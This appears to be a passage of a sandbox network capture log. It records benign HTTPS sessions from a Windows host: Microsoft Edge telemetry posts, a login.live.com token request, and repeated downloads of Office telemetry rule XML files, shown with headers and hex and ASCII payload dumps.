2024-11-17 02:42:44 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	49913	20.42.73.31	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:44 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731811362140&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9656 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=024D4A803FDA694A0F455FBA3E2B6876; _EDGE_S=F=1&SID=3491595A084E67E72D704C6009E466F6; _EDGE_V=1; msnup=
2024-11-17 02:42:44 UTC	9656	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 37 54 30 32 3a 34 32 3a 34 32 2e 31 33 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 32 64 30 38 32 36 66 2d 61 61 39 64 2d 34 37 34 37 2d 62 30 36 31 2d 63 32 65 62 62 34 35 31 38 61 62 38 22 2c 22 65 70 6f 63 68 22 3a 22 31 34 34 36 31 36 37 32 38 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-17T02:42:42.139Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"b2d0826f-aa9d-4747-b061-c2ebb4518ab8","epoch":"1446167283"},"app":{"loc
2024-11-17 02:42:44 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=9fc7710df97d4185afaa33113eea7d25&HASH=9fc7&LV=202411&V=4&LU=1731811364143; Domain=.microsoft.com; Expires=Mon, 17 Nov 2025 02:42:44 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=025b36b126bb4a648590dab8b18eec66; Domain=.microsoft.com; Expires=Sun, 17 Nov 2024 03:12:44 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2003 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 17 Nov 2024 02:42:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49915	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:44 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-17 02:42:44 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-17 02:42:44 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 17 Nov 2024 02:41:44 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C559_BAY x-ms-request-id: 53f98856-2bca-4d92-8675-7051304232ad PPServer: PPV: 30 H: PH1PEPF0001201D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 17 Nov 2024 02:42:43 GMT Connection: close Content-Length: 11392
2024-11-17 02:42:44 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:44 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:44 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:44 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: f00fef9b-501e-0029-7e4b-36d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024244Z-164f84587bf28gjzhC1DFW35kg00000003m000000000cydz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:44 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:44 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:44 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:44 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 75c178ff-801e-0067-31f8-36fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024244Z-164f84587bf6n6jwhC1DFW90fn00000002sg00000000q2v3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:44 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:44 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:45 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:44 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: cf21543a-c01e-0079-7409-37e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024244Z-16547b76f7fd4rc5hC1DFWkzhw00000003x000000000kt43 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:45 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:44 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:45 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:44 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 93dd010c-d01e-0014-6aab-36ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024244Z-16547b76f7fsq6p7hC1DFWfx68000000023000000000g7r2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:45 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:44 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:45 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:44 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 969097d6-001e-0046-4dc6-37da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024244Z-16547b76f7fhvzzthC1DFW557000000003qg00000000ge6a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:45 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:45 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:45 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:45 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 25df3dc6-101e-000b-2cf8-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024245Z-164f84587bf28gjzhC1DFW35kg00000003qg000000003v0x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:45 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:45 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:45 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:45 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c6213e4b-c01e-0014-58b2-37a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024245Z-164f84587bft9l9khC1DFW32rc00000003tg0000000002ua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:45 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:45 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:45 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:45 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 643638dc-501e-00a0-47bb-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024245Z-1866b5c5fbbkbjq9hC1DFWf1es00000002kg00000000e1ug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
